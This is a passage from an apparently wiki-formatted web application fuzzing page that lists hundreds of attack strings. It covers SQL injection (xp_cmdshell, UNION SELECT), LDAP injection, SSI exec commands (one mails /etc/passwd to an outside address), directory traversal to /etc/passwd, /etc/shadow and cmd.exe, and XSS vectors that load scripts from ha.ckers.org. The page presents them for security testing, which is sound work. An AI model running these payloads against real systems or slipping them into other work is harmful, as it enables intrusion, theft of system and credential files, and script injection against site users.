/> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; 